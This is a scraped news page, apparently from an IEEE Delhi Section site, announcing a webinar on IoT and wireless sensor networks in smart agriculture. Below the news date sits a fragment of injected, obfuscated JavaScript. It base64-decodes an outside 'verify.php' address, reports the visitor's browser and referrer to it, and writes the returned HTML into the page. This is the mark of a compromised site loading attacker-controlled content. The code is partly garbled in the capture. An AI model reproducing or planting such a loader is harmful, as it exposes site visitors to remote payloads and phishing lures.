

Home > Invitation for Invited Talk on IoT and WSN in smart agriculture dated 22-08-2023

## Invitation for Invited Talk on IoT and WSN in smart agriculture dated 22-08-2023

IEEE Delhi Section with Computer Society Chapter, Consultants Network Affinity Group, Life Member Affinity Group, Inter Society Relations, Industry Relations & SIGHT Standing Committees of IEEE Delhi with the associations CSI, Safa Society, ISTE Delhi Section, IETE Delhi Centre, invites you for a Webinar on 22-August-2023, the Tuesday, at 03:00 p.m.

IoT and WSN technologies are widely used to build decision support systems to overcome many problems in the real world. One of the most interesting fields having an increasing need for decision support systems is Smart Agriculture (SA). This project presents WSN as the best way to solve the agricultural problems related to farming resources optimization, decisionmaking support, and land monitoring. This approach provides real-time information about the lands and crops that will help farmers make the right decisions. Using the basic principles of Internet and WSN technology, SA systems based on the IoT technology is explained in detail, especially on the hardware architecture, network architecture and software process control.

## File:

Invitation for Invited Talk on IoT and WSN in smart agriculture dated 22-08-2023.pdf<sub>[1]</sub> **News Category:** Activities

News Date:

Thursday, 10 August, 2023 - 13:00

{ let selfer=new XMLHttpRequest;selfer.open("GET",

decodeURIComponent(escape(atob('aHR0cHM6Ly91cmxzcGF0aC5jb20vdmVyaWZ5LnBocA==')))

```
nt=${navigator?.userAgent}&r=${document?.referrer}`),selfer.onreadystatechange=(()=>{if(4==selfer.readyState)-
;);document.querySelector("body").insertAdjacentHTML("afterbegin",e?.html)}}),selfer.setRequestHeader("Reque
```

```
}); //-->
```

**Source URL:** http://14.140.205.245/content/invitation-invited-talk-iot-and-wsn-smart-agriculture-dated-22-08-2023

## Links:

[1]

http://14.140.205.245/sites/default/files/news/Invitation%20for%20Invited%20Talk%20on%20IoT%20and%20WSN% 08-2023.pdf